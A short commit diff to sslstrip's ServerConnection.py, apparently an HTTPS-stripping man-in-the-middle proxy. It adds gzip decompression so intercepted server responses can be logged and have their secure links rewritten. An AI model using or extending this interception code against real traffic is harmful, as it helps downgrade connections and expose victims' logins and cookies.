Support decompressing gzip encoding if it somehow slips by (google does this sometimes).

Author: moxie0

sslstrip/ServerConnection.py

@@ -16,7 +16,7 @@
 # USA
 #
 
-import logging, re, string, random
+import logging, re, string, random, zlib, gzip, StringIO
 
 from twisted.web.http import HTTPClient
 from URLMonitor import URLMonitor
@@ -40,6 +40,7 @@ def __init__(self, command, uri, postData, headers, client):
         self.client           = client
         self.urlMonitor       = URLMonitor.getInstance()
         self.isImageRequest   = False
+        self.isCompressed     = False
         self.contentLength    = None
         self.shutdownComplete = False
 
@@ -87,7 +88,11 @@ def handleHeader(self, key, value):
                 self.isImageRequest = True
                 logging.debug("Response is image content, not scanning...")
 
-        if (key.lower() == 'content-length'):
+        if (key.lower() == 'content-encoding'):
+            if (value.find('gzip') != -1):
+                logging.debug("Response is compressed...")
+                self.isCompressed = True
+        elif (key.lower() == 'content-length'):
             self.contentLength = value
         elif (key.lower() == 'set-cookie'):
             self.client.responseHeaders.addRawHeader(key, value)
@@ -114,6 +119,10 @@ def handleResponseEnd(self):
             HTTPClient.handleResponseEnd(self)
 
     def handleResponse(self, data):
+        if (self.isCompressed):
+            logging.debug("Decompressing content...")
+            data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
+            
         logging.log(self.getLogLevel(), "Read from server:\n" + data)
 
         data = self.replaceSecureLinks(data)